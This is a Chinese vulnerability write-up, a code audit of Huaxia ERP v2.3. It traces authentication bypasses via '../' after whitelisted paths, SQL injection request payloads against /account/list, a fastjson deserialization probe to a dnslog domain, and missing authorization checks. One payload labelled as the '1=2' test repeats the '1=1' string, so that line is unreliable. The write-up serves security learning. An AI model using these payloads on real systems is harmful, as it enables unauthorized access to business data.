『代码审计』华夏 ERP 代码审计

admin 2024年10月13日20:58:59评论36 views字数 3576阅读11分55秒阅读模式

点击蓝字,关注我们

日期:2023-07-20
作者:Corl
介绍:华夏ERPv2.3版本代码审计。

0x00 前言

最近在学习代码审计,听他们说华夏ERP2.3版本漏洞挺多的,并且是SpringBoot项目,比较适合新手学习,于是就在gitee上下载了该系统的源码,开始了对该系统的审计。

0x01 认证绕过漏洞

由于该系统未使用安全框架,所以对身份校验的功能可能写在Filter中,通过全局搜索Filter,发现了LogCostFilter文件。通过查看该文件,发现存在认证绕过漏洞,并且存在3种绕过方式。

1.1 第一处绕过

如果请求url不等于null并且请求url中包含/doc.html/register.html/login.html则进行放行,那么请求url开头使用这3个中的任意一个,再使用../跳转到上一层目录,再拼接要请求的后台接口,那么即可实现认证绕过,获取到接口数据。

『代码审计』华夏 ERP 代码审计

登录系统,抓取一个有数据的接口。

『代码审计』华夏 ERP 代码审计

cookie删除后,响应302,无法再获取到接口数据。

『代码审计』华夏 ERP 代码审计

这里开头使用/doc.html,拼接../后,成功获取到接口数据。

『代码审计』华夏 ERP 代码审计

1.2 第二处绕过

第二处绕过调用的方法为verifyverify方法首先使用for循环遍历ignoredList的值,然后再拼接regexPrefix+regex+regexSuffix赋值给pattern,即^.*+regex+.*$,然后再使用matcher方法,将url根据pattern去进行正则匹配,如果匹配成功,返回true,否则返回false。也就是说只要是匹配成功,那么即可实现认证绕过。

『代码审计』华夏 ERP 代码审计

再看ignoredList中有哪些值,首先定义了IGNORED_PATH等于ignoredUrlignoredUrl中的值为.css#.js#.jpg#.png#.gif#.ico,再将这些值以#号分割保存在ignoredUrls中,再使用for循环,将值添加到ignoredList中。

『代码审计』华夏 ERP 代码审计

这里使用在线的正则表示式测试网站,这里取.css为例,那么正则为^.*.css.*$,输入aaaacss后,点击测试匹配,可见可以匹配到。

『代码审计』华夏 ERP 代码审计

那么就以/aaaacss开头,再拼接../,可以看到成功进行了绕过,获取到了接口的数据。

『代码审计』华夏 ERP 代码审计

1.3 第三处绕过

首先判断allowUrls是否为空并且allowUrls的长度是否大于0,然后再使用for依次去取allowUrls中的值为url,再判断请求的url是否以allowUrls中的值开头,如果是,则进行放行。

『代码审计』华夏 ERP 代码审计

再看allowUrls中的值有哪些,首先定义FILTER_PATH等于filterPathfilterPath的值为/user/login#/user/registerUser#/v2/api-docs。然后再使用#号进行分割,保存在allowUrls中。

『代码审计』华夏 ERP 代码审计

那么开头是/user/login/user/registerUser/v2/api-docs,那么就会对请求进行放行。再拼接../../加请求的接口,那么就可以获取到接口的数据。

『代码审计』华夏 ERP 代码审计

0x02 SQL注入

全局搜索${,发现了大量使用${进行拼接的地方,随便点击一条,这里以AccountMapperEx.xml中的第23行为例,进入到该文件。

『代码审计』华夏 ERP 代码审计

发现不止name使用的${}拼接,还有serialNoemark也是使用的${}拼接,因此这俩参数也是存在注入的。

『代码审计』华夏 ERP 代码审计

按住Ctrl,点击selectByConditionAccount,往上进行追踪,发现传入了nameserialNoremarkoffsetrows等值,再往上追踪,查看参数是否可控。

『代码审计』华夏 ERP 代码审计

发现AccountService中的select方法调用了selectByConditionAccount方法,并且没有进行参数过滤,继续往上追踪。

『代码审计』华夏 ERP 代码审计

AccountComponent中的getAccountList方法调用了AccountServiceselect方法,该方法就是从search中进行取值,将取出来的值传入到AccountServiceselect方法中,然后select方法再调用getAccountList方法。按住Ctrl,点击select,再往上追踪。

『代码审计』华夏 ERP 代码审计

先判断apiName是否为空,再使用container.getCommonQuery进行查询apiName,按住Ctrl点击getCommonQuery方法,进入到InterfaceContainer文件中。

『代码审计』华夏 ERP 代码审计

该文件是对接口进行统一实例化处理,当apiNameaccount的时候,就会去实例化对应的AccountComponent类,AccountComponent类实现了ICmmonQuery这个接口,就会调用此接口ICmmonQuery类下的对应的方法。

『代码审计』华夏 ERP 代码审计

按住Ctrl,点击select,就跳转到了Controller层,发现search参数可控,并且将search参数put进了parameterMap中,然后再把apiNameparameterMap传入到configResourceManager.select方法。

『代码审计』华夏 ERP 代码审计

由于上面进入到的是AccountComponent文件,所以这里apiName就取account,由于并没有上级路由,直接构造请求,由于AccountComponentgetAccountList方法,传入了nameserialNoremark,这里也使用这3个参数。

『代码审计』华夏 ERP 代码审计

构造请求后,并将search参数进行url编码后,可以获取到数据。

/account/list?search={"name":"","serialNo":"","remark":""}&currentPage=1&pageSize=10
『代码审计』华夏 ERP 代码审计

使用payload进行验证,当1=1时,可以获取到数据。

/account/list?search={"name":"1' and 1=1 --+'","serialNo":"","remark":""}&currentPage=1&pageSize=10
『代码审计』华夏 ERP 代码审计

1=2时,获取不到数据。

/account/list?search={"name":"1' and 1=1 --+'","serialNo":"","remark":""}&currentPage=1&pageSize=10
『代码审计』华夏 ERP 代码审计

这里serialNoremark同样也是存在注入的,系统中还有大量参数存在注入,这里就不再进行列举了。

/account/list?search={"name":"","serialNo":"1' and 1=1 --+'","remark":""}&currentPage=1&pageSize=10

『代码审计』华夏 ERP 代码审计

/account/list?search={"name":"","serialNo":"","remark":"bb' and 1=1 --+'"}&currentPage=1&pageSize=10
『代码审计』华夏 ERP 代码审计

0x03 Fastjson反序列化

通过查看pom.xml,发现引入了fastjson,并且版本为1.2.55,该版本是存在反序列化漏洞的。

『代码审计』华夏 ERP 代码审计

通过全局搜索JSON.parseObject,发现多处使用了该函数,找一个接收前端参数的点,这里选择MaterialController文件。

『代码审计』华夏 ERP 代码审计

进入文件查看,search参数可控,并且将search传到了JSON.parseObject中,因此是存在反序列化的。

『代码审计』华夏 ERP 代码审计

查看文件头部,还有上一级路由/material,所以此漏洞点的路由为/material/getMaterialEnableSerialNumberList,构造数据包,并将payload进行url编码后,响应200

{"@type":"java.net.Inet4Address","val":"i4xz8g.dnslog.cn"}
『代码审计』华夏 ERP 代码审计

dnslog成功收到请求。

『代码审计』华夏 ERP 代码审计

0x04 越权漏洞

在系统中随便找一个添加数据的接口,这里以/addDepotHeadAndDetail接口为例,代码中并没有对身份进行判断,就只是将前端获取到的参数值传入方法中进行调用。当然不只是添加操作没有对身份进行校验,查询、删除、修改操作,也是没有对身份进行校验,同样可以实现越权。

『代码审计』华夏 ERP 代码审计

首先使用管理员账号进行添加,响应添加成功。

『代码审计』华夏 ERP 代码审计

cookie替换为普通账号的cookie,仍可添加成功。

『代码审计』华夏 ERP 代码审计

0x05 总结

该系统漏洞类型还是挺多的,通过审计该系统也是学到了不少知识,比如学到了通过认证绕过,可以实现在未登录状态下,直接利用后台漏洞。在审计过程中,我感觉不可浮躁,一定要一点一点地去看代码,才能审到更多的漏洞。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『代码审计』华夏 ERP 代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日20:58:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』华夏 ERP 代码审计https://cn-sec.com/archives/1893996.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息